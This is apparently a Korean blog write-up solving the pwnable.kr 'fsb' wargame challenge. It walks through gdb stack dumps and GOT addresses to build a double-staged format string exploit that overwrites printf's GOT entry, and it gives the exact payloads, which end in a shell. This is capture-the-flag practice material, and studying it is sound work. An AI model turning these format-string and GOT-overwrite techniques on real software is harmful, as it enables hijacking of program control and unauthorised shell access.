바이너리 보안기법 검사(checksec.sh)
RELRO STACK CANARY NX PIE RPATH RUNPATH FILE Partial RELRO No canary found NX enabled No PIE No RPATH No RUNPATH ./fsb |
소스코드 확인
main() 에서 /dev/urandom을 이용해 8바이트 읽고 이것을 key 값으로 사용한다
이후 alloca를 이용해 0x12345 & key 만큼 메모리 할당하는데 fsb를 이용해 직접적으로 key 값에 접근하짐 못하게 하기위한 것 같다.
뭐 아무튼 fsb() 함수 내에서 다음과 같은 코드로 인해 format string bug가 발생
for(i=0; i<4; i++){ printf("Give me some format strings(%d)\n", i+1); read(0, buf, 100); printf(buf); } |
gdb를 이용해 fsb 발생 전, 후 스택 상태를 살펴보자
GDB를 이용한 스택 값 확인
fsb() 에서 printf 하기 직전에 break point 설정
(gdb) b *fsb+220 Breakpoint 2, 0x08048610 in fsb () (gdb) x/64wx $esp 0xbfa734d0: 0x0804a100 0x0804a100 0x00000064 0xb7734b48 0xbfa734e0: 0x00000001 0x00000000 0xbfa73504 0x0804a024 0xbfa734f0: 0x0804828c 0x08048870 0x00000000 0x00000000 0xbfa73500: 0xbfa7377c 0xbfa75fd1 0xbfa73520 0xbfa73524 0xbfa73510: 0xbfa735c4 0xbfa73590 0xbfa73578 0x08048791 0xbfa73520: 0x00000000 0x00000000 0x00000008 0xbfa73578 0xbfa73530: 0xbfa73590 0x0804a060 0xb764b4ec 0x0804874e 0xbfa73540: 0x00000003 0x0804a060 0x00000008 0x080483bd 0xbfa73550: 0xbfa75176 0x0000002f 0x08049ff4 0x00000010 0xbfa73560: 0x080487a0 0x08048480 0x00000000 0x00000003 0xbfa73570: 0xbfa73590 0xb771a000 0x00000000 0xb7589a83 0xbfa73580: 0x080487a0 0x00000000 0x00000000 0xb7589a83 |
소스코드 상 사용자 입력은 data 영역(변수 buf)로 들어가기 때문에 스택에서 사용할 수 없다
하지만 위에서 빨간색으로 표시한 것과 같이
i) 스택의 특정 위치를 가리키는 포인터가 저장되어 있고
ii) 위 위치에 접근 가능하기 때문에
Double staged fsb를 사용할 수 있다
그럼 어디 메모리 주소를 쓰고 그 주소를 뭘로 덮을까
objdump 를 이용해 바이너리의 GOT 주소를 확인
root@ubuntu:/home/u32/Desktop/pwnable/rookiss/fsb# objdump -R ./fsb ./fsb: file format elf32-i386 DYNAMIC RELOCATION RECORDS OFFSET TYPE VALUE 08049ff0 R_386_GLOB_DAT __gmon_start__ 0804a000 R_386_JUMP_SLOT read 0804a004 R_386_JUMP_SLOT printf ... (참고용) (gdb) x/wx 0x804a004 0x804a004 <printf@got.plt>: 0xb75bd280 |
for loop를 돌면서 printf를 호출해주기때문에 printf의 GOT 주소를 덮어주면 되겠고
control flow hijacking 해서 뛸 주소는
0x080486ab <+375>: mov -0x24(%ebp),%eax 0x080486ae <+378>: movl $0x0,0x8(%esp) 0x080486b6 <+386>: lea -0x24(%ebp),%edx 0x080486b9 <+389>: mov %edx,0x4(%esp) 0x080486bd <+393>: mov %eax,(%esp) 0x080486c0 <+396>: call 0x8048450 <execve@plt> |
fsb() 내에서 execve(/bin/sh) 해주는 부분으로 뛰면 되겠다.
정리해보면
i) 첫번째 fsb로 스택 내 0x804a004 값 쓰기
ii) 두번째 fsb로 0x804a004 값을 0x080486ab 로
(여기서 먼저 쓸 값보다 두번째 쓸 값이 작으므로 fsb 한번에 두개 값을 써야 하면 성가셔질뻔? 두번째 fsb사이의 값을 엄청 크게해서 0x1080486ab 로 만들어야하나? 어차피 여기선 4번 쓸 수 있기때문에 편함)
Exploit 진행 및 결과 확인
Give me some format strings(1) %134520836c%14$n ... Give me some format strings(2) %134514347c%20$n ... $ |
'Pwnable.kr > Rookiss' 카테고리의 다른 글
[pwnable.kr] crypto1 - 120pt (0) | 2017.05.20 |
---|---|
[pwnable.kr] brain fuck - 150pt (0) | 2017.04.16 |
[pwnable.kr] md5 calculator - 200pt (0) | 2017.01.02 |
[pwnable.kr] echo2 - 50pt (0) | 2016.11.10 |
[pwnable.kr] simple login - 50pt (0) | 2016.08.23 |